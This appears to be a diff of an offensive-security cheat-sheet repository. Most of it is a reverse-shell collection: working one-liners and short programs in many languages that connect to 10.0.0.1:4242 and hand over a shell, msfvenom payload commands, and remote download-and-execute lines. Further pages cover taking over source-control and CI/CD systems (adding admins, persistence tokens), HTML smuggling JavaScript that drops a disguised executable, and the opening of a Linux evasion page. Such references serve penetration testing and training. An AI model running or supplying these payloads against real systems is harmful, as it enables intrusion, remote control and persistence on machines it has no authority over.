- [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) ![image](https://user-images.githubusercontent.com/44453666/115149832-d6a75980-a033-11eb-9c50-56d4ea8ca57c.png)
- [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator
## Reverse Shell
### Bash TCP
```bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
```
### Bash UDP
```bash
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
```
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
### Socat
```powershell
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```
```powershell
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```
Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
### Perl
```perl
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
### Python
Linux only
IPv4
```python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces)
```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
```python
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```
IPv4 (No Spaces, Shortened)
```python
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv4 (No Spaces, Shortened Further)
```python
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
```python
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
```
```python
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
```
IPv6
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
IPv6 (No Spaces)
```python
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```
IPv6 (No Spaces, Shortened)
```python
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
```
Windows only (Python2)
```powershell
python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
Windows only (Python3)
```powershell
python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"
```
### PHP
```bash
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
```
```bash
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
```
### Ruby
```ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
### Rust
```rust
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("10.0.0.1:4242").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
```
### Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
### Netcat Traditional
```bash
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
```
### Netcat OpenBsd
```bash
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Netcat BusyBox
```bash
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Ncat
```bash
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
```
### OpenSSL
Attacker:
```powershell
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```
TLS-PSK (does not rely on PKI or self-signed certificates)
```bash
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
```
### Powershell
```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
```powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
```
### Awk
```powershell
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
### Java
```java
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
```
#### Java Alternative 1
```java
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Java Alternative 2
**NOTE**: This is more stealthy
```java
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
```
### Telnet
```bash
In Attacker machine start two listeners:
nc -lvp 8080
nc -lvp 8081
In Victime machine run below command:
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
```
### War
```java
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
```
### Lua
Linux only
```powershell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```
Windows and Linux
```powershell
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
### NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
or
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
### Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
NOTE: Java reverse shell also work for Groovy
```java
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Groovy Alternative 1
**NOTE**: This is more stealthy
```java
Thread.start {
// Reverse shell here
}
```
### C
Compile with `gcc /tmp/shell.c --output csh && csh`
```csharp
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
```
### Dart
```java
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}
```
## Meterpreter Shell
### Windows Staged reverse TCP
```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```
### Windows Stageless reverse TCP
```powershell
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```
### Linux Staged reverse TCP
```powershell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```
### Linux Stageless reverse TCP
```powershell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```
### Other platforms
```powershell
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
## Spawn TTY Shell
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
```powershell
rlwrap nc 10.0.0.1 4242
rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
```
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
:warning: OhMyZSH might break this trick, a simple `sh` is recommended
> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
```powershell
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```
or use `socat` binary to get a fully tty reverse shell
```bash
socat file:`tty`,raw,echo=0 tcp-listen:12345
```
Alternatively, `rustcat` binary can automatically inject the TTY shell command.
The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
Not only that, upon exiting the shell, the terminal will be reset and thus usable.
```bash
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 && reset
```
Spawn a TTY shell from an interpreter
```powershell
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```
- vi: `:!bash`
- vi: `:set shell=/bin/bash:shell`
- nmap: `!sh`
- mysql: `! bash`
Alternative TTY method
```
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD
user@debian:~$
```
## Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**
Server Side:
```
stty raw -echo; (stty size; cat) | nc -lvnp 3001
```
Client Side:
```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
```
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
## References
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [Spawning a TTY Shell](http://netsec.ws/?p=337)
* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)

View File

@ -0,0 +1,133 @@
# Source Code Management & CI/CD Compromise
>
## Summary
* [Tools](#tools)
* [Enumerate repositories files and secrets](#enumerate-repositories-files-and-secrets)
* [Personal Access Token](#personal-access-token)
* [Gitlab CI/Github Actions](#gitlab-cigithub-actions)
* [References](#references)
## Tools
* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - List the secrets stored inside CI/CD environments and extract them by deploying malicious pipelines
* [xforcered/SCMKit](https://github.com/xforcered/SCMKit) - Source Code Management Attack Toolkit
## Enumerate repositories files and secrets
Using [SCMKit - Source Code Management Attack Toolkit](https://github.com/xforcered/SCMKit)
* Discover repositories being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
```
* Search for repositories by repository name in a particular SCM system
```ps1
SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
```
* Search for code containing a given keyword in a particular SCM system
```ps1
SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
```
* Search for files in repositories containing a given keyword in the file name in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
```
* List snippets owned by the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
```
* List all GitLab runners available to the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
```
* Get the assigned privileges to an access token being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
```
* Promote a normal user to an administrative role in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
```
* Create/List/Delete an access token to be used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID
SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
```
* Create/List an SSH key to be used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local
SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local
SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
```
## Personal Access Token
Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.
```ps1
curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"
```
## Gitlab CI/Github Actions
* Gitlab-CI "Command Execution" example: `.gitlab-ci.yml`
```yaml
stages:
- test
test:
stage: test
script:
- |
whoami
parallel:
matrix:
- RUNNER: VM1
- RUNNER: VM2
- RUNNER: VM3
tags:
- ${RUNNER}
```
* Github Action "Command Execution" example: `.github/workflows/example.yml`
```yml
name: example
on:
workflow_dispatch:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: windows-2019
steps:
- name: Execute
run: |
whoami
```
## References
* [Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022](https://securityintelligence.com/posts/abusing-source-code-management-systems/)
* [CI/CD SECRETS EXTRACTION, TIPS AND TRICKS - Hugo Vincent, Théo Louis-Tisserand - 01/03/2023](https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks.html)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,43 @@
# HTML Smuggling
## Summary
- [Description](#description)
- [Executable Storage](#executable-storage)
## Description
HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file.
## Executable storage
We can store our payload in a Blob object => JS: `var blob = new Blob([data], {type: 'octet/stream'});`
To perform the download, we need to create an Object Url => JS: `var url = window.URL.createObjectURL(blob);`
With those two elements, we can create with Javascript our \<a> tag which will be used to download our malicious file:
```Javascript
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
```
To store ou payload, we use base64 encoding:
```Javascript
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'NotAMalware.exe';
```

View File

@ -0,0 +1,120 @@
# Linux - Evasion
## Summary
- [File names](#file-names)
